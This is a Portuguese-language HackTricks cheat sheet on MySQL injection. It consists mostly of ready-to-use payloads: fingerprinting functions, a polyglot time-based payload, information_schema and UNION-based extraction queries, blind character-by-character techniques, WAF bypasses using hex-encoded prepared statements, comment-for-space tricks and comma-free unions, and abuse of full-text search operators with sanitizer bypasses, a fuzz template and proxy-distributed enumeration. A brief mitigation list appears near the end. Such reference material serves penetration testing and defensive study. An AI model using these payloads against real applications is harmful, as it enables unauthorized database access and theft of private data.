MySQL injection

Tip

Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprenda e pratique Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporte o HackTricks

Comentários

-- MYSQL Comment
# MYSQL Comment
/* MYSQL Comment */
/*! MYSQL Special SQL */
/*!32302 10*/ Comment for MySQL version 3.23.02

Funções Interessantes

Confirmar Mysql:

concat('a','b')
database()
version()
user()
system_user()
@@version
@@datadir
rand()
floor(2.9)
length(1)
count(1)

Funções úteis

SELECT hex(database())
SELECT conv(hex(database()),16,10) # Hexadecimal -> Decimal
SELECT DECODE(ENCODE('cleartext', 'PWD'), 'PWD')# Encode() & decpde() returns only numbers
SELECT uncompress(compress(database())) #Compress & uncompress() returns only numbers
SELECT replace(database(),"r","R")
SELECT substr(database(),1,1)='r'
SELECT substring(database(),1,1)=0x72
SELECT ascii(substring(database(),1,1))=114
SELECT database()=char(114,101,120,116,101,115,116,101,114)
SELECT group_concat(<COLUMN>) FROM <TABLE>
SELECT group_concat(if(strcmp(table_schema,database()),table_name,null))
SELECT group_concat(CASE(table_schema)When(database())Then(table_name)END)
strcmp(),mid(),,ldap(),rdap(),left(),rigth(),instr(),sleep()

Todas as injection

SELECT * FROM some_table WHERE double_quotes = "IF(SUBSTR(@@version,1,1)<5,BENCHMARK(2000000,SHA1(0xDE7EC71F1)),SLEEP(1))/*'XOR(IF(SUBSTR(@@version,1,1)<5,BENCHMARK(2000000,SHA1(0xDE7EC71F1)),SLEEP(1)))OR'|"XOR(IF(SUBSTR(@@version,1,1)<5,BENCHMARK(2000000,SHA1(0xDE7EC71F1)),SLEEP(1)))OR"*/"

de https://labs.detectify.com/2013/05/29/the-ultimate-sql-injection-payload/

Fluxo

Lembre-se de que em versões “modernas” do MySQL você pode substituir “information_schema.tables” por “mysql.innodb_table_stats (Isto pode ser útil para contornar WAFs).

SELECT table_name FROM information_schema.tables WHERE table_schema=database();#Get name of the tables
SELECT column_name FROM information_schema.columns WHERE table_name="<TABLE_NAME>"; #Get name of the columns of the table
SELECT <COLUMN1>,<COLUMN2> FROM <TABLE_NAME>; #Get values
SELECT user FROM mysql.user WHERE file_priv='Y'; #Users with file privileges

Apenas 1 valor

  • group_concat()
  • Limit X,1

Blind one by one

  • substr(version(),X,1)='r' or substring(version(),X,1)=0x70 or ascii(substr(version(),X,1))=112
  • mid(version(),X,1)='5'

Blind adding

  • LPAD(version(),1...lenght(version()),'1')='asd'...
  • RPAD(version(),1...lenght(version()),'1')='asd'...
  • SELECT RIGHT(version(),1...lenght(version()))='asd'...
  • SELECT LEFT(version(),1...lenght(version()))='asd'...
  • SELECT INSTR('foobarbar', 'fo...')=1

Detectar número de colunas

Usando um ORDER simples

order by 1
order by 2
order by 3
...
order by XXX

UniOn SeLect 1
UniOn SeLect 1,2
UniOn SeLect 1,2,3
...

MySQL Union Based

UniOn Select 1,2,3,4,...,gRoUp_cOncaT(0x7c,schema_name,0x7c)+fRoM+information_schema.schemata
UniOn Select 1,2,3,4,...,gRoUp_cOncaT(0x7c,table_name,0x7C)+fRoM+information_schema.tables+wHeRe+table_schema=...
UniOn Select 1,2,3,4,...,gRoUp_cOncaT(0x7c,column_name,0x7C)+fRoM+information_schema.columns+wHeRe+table_name=...
UniOn Select 1,2,3,4,...,gRoUp_cOncaT(0x7c,data,0x7C)+fRoM+...

SSRF

Aprenda aqui diferentes opções para abuse a Mysql injection to obtain a SSRF.

WAF bypass tricks

Executing queries through Prepared Statements

Quando stacked queries são permitidas, pode ser possível realizar um bypass em WAFs atribuindo a uma variável a representação hex da query que você quer executar (usando SET), e então usar os statements PREPARE e EXECUTE do MySQL para, finalmente, executar a query. Algo assim:

0); SET @query = 0x53454c45435420534c454550283129; PREPARE stmt FROM @query; EXECUTE stmt; #

Para mais informações, consulte this blog post.

Information_schema alternativas

Lembre-se de que em versões “modernas” do MySQL você pode substituir information_schema.tables por mysql.innodb_table_stats ou por sys.x$schema_flattened_keys ou por sys.schema_table_statistics

MySQLinjection sem vírgulas

Selecionar 2 colunas sem usar nenhuma vírgula (https://security.stackexchange.com/questions/118332/how-make-sql-select-query-without-comma):

-1' union select * from (select 1)UT1 JOIN (SELECT table_name FROM mysql.innodb_table_stats)UT2 on 1=1#

Recuperando valores sem o nome da coluna

Se em algum momento você souber o nome da tabela, mas não souber o nome das colunas dentro da tabela, você pode tentar descobrir quantas colunas existem executando algo como:

# When a True is returned, you have found the number of columns
select (select "", "") = (SELECT * from demo limit 1);     # 2columns
select (select "", "", "") < (SELECT * from demo limit 1); # 3columns

Supondo que existam 2 colunas (sendo a primeira o ID) e a outra a flag, você pode tentar um bruteforce no conteúdo da flag testando caractere por caractere:

# When True, you found the correct char and can start ruteforcing the next position
select (select 1, 'flaf') = (SELECT * from demo limit 1);

Mais informações em https://medium.com/@terjanq/blind-sql-injection-without-an-in-1e14ba1d4952

Injection sem ESPAÇOS (/**/ comment trick)

Algumas aplicações sanitizam ou fazem parse da entrada do usuário com funções como sscanf("%128s", buf) que param no primeiro caractere de espaço. Porque o MySQL trata a sequência /**/ como um comentário e como espaço em branco, ela pode ser usada para remover completamente os espaços normais do payload mantendo a query sintaticamente válida.

Exemplo de time-based blind injection contornando o filtro de espaços:

GET /api/fabric/device/status HTTP/1.1
Authorization: Bearer AAAAAA'/**/OR/**/SLEEP(5)--/**/-'

Que o banco de dados recebe como:

' OR SLEEP(5)-- -'

Isto é especialmente útil quando:

  • O buffer controlável é limitado em tamanho (por exemplo %128s) e espaços terminariam a entrada prematuramente.
  • Injeção através de cabeçalhos HTTP ou outros campos onde espaços normais são removidos ou usados como separadores.
  • Combinado com primitivas INTO OUTFILE para alcançar full pre-auth RCE (veja a seção MySQL File RCE).

Histórico do MySQL

Você pode ver outras execuções no MySQL consultando a tabela: sys.x$statement_analysis

Alternativa de versãos

mysql> select @@innodb_version;
mysql> select @@version;
mysql> select version();

MySQL Full-Text Search (FTS) BOOLEAN MODE operator abuse (WOR)

Isto não é um SQL injection clássico. Quando desenvolvedores passam input do usuário para MATCH(col) AGAINST('...' IN BOOLEAN MODE), MySQL executa um conjunto rico de operadores de busca booleanos dentro da string entre aspas. Muitas regras WAF/SAST focam apenas em quebrar aspas e deixam essa superfície passar.

Key points:

  • Os operadores são avaliados dentro das aspas: + (must include), - (must not include), * (trailing wildcard), "... (exact phrase), () (grouping), </>/~ (weights). See MySQL docs.
  • Isso permite testes de presença/ausência e de prefixo sem sair do literal de string, e.g. AGAINST('+admin*' IN BOOLEAN MODE) para verificar qualquer termo que comece com admin.
  • Útil para construir oracles such as “does any row contain a term with prefix X?” e para enumerar hidden strings via prefix expansion.

Exemplo de consulta construída pelo backend:

SELECT tid, firstpost
FROM threads
WHERE MATCH(subject) AGAINST('+jack*' IN BOOLEAN MODE);

Se a aplicação retorna respostas diferentes dependendo de o conjunto de resultados estar vazio (por exemplo, redirect vs. error message), esse comportamento torna-se um Boolean oracle que pode ser usado para enumerar dados privados, como títulos ocultos/excluídos.

Sanitizer bypass patterns (generic):

  • Boundary-trim preserving wildcard: se o backend remove 1–2 caracteres finais por palavra via uma regex como (\b.{1,2})(\s)|(\b.{1,2}$), envie prefix*ZZ. O cleaner remove o ZZ mas deixa o *, então prefix* sobrevive.
  • Early-break stripping: se o código remove operadores por palavra mas para de processar quando encontra qualquer token com comprimento ≥ min length, envie dois tokens: o primeiro é um token lixo que atinge o limiar de comprimento, o segundo carrega o operator payload. Por exemplo: &&&&& +jack*ZZ → after cleaning: +&&&&& +jack*.

Payload template (URL-encoded):

keywords=%26%26%26%26%26+%2B{FUZZ}*xD
  • %26 é &, %2B é +. O sufixo xD (ou quaisquer duas letras) é aparado pelo cleaner, preservando {FUZZ}*.
  • Trate um redirect como “match” e uma página de erro como “no match”. Não siga redirects automaticamente para manter o oracle observável.

Enumeration workflow:

  1. Comece com {FUZZ} = a…z,0…9 para encontrar correspondências da primeira letra via +a*, +b*, …
  2. Para cada prefixo positivo, bifurque: a* → aa* / ab* / …. Repita até recuperar toda a string.
  3. Distribua as requisições (proxies, múltiplas contas) se a app aplicar flood control.

Por que títulos frequentemente leak enquanto conteúdos não:

  • Algumas apps aplicam checagens de visibilidade somente após um MATCH preliminar em titles/subjects. Se o fluxo de controle depender do resultado “any results?” antes do filtro, ocorrem existence leaks.

Mitigações:

  • Se você não precisar de lógica Booleana, use IN NATURAL LANGUAGE MODE ou trate a entrada do usuário como literal (escape/quote desabilita operadores em outros modos).
  • Se o Boolean mode for necessário, remova ou neutralize todos os Boolean operators (+ - * " ( ) < > ~) para cada token (sem quebras precoces) após a tokenização.
  • Aplique filtros de visibility/authorization antes do MATCH, ou unifique as respostas (timing/status constante) quando o conjunto de resultados estiver vazio vs. não vazio.
  • Revise recursos análogos em outros DBMS: PostgreSQL to_tsquery/websearch_to_tsquery, SQL Server/Oracle/Db2 CONTAINS também analisam operadores dentro de argumentos entre aspas.

Notas:

  • Prepared statements não protegem contra abuso semântico de REGEXP ou search operators. Uma entrada como .* continua sendo uma regex permissiva mesmo dentro de um quoted REGEXP '.*'. Use allow-lists ou guards explícitos.

Other MYSQL injection guides

Referências

Tip

Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprenda e pratique Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporte o HackTricks